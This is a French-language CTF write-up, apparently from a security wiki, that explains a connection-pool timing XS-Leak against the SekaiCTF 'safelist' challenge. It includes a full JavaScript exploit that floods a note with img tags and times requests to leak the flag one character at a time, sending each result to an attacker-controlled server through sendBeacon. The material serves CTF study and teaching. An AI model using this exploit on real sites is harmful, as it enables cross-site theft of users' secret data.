Connection Pool by Destination Example
Dans cette exploitation, @terjanq propose encore une autre solution pour le défi mentionné dans la page suivante:
Connection Pool by Destination ExampleVoyons comment cette exploitation fonctionne :
L'attaquant injectera une note avec autant de balises
<img
chargeant/js/purify.js
que possible (plus de 6 pour bloquer l'origine).Ensuite, l'attaquant supprimera la note avec l'index 1.
Ensuite, l'attaquant va [faire accéder la page au bot avec la note restante] et enverra une requête à
victim.com/js/purify.js
qu'il chronométrera.Si le temps est plus long, l'injection était dans la note restante, si le temps est plus court, le drapeau était là-dedans.
Franchement, en lisant le script, j'ai manqué une partie où l'attaquant fait charger la page au bot pour déclencher les balises img, je ne vois rien de tel dans le code
```html const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx"
let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() }
remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank"
let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() }
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = ${prefix}${letter}
+ Array.from(Array(78)).map((e,i)=><img/src=/js/purify.js?${i}>
).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } };
Last updated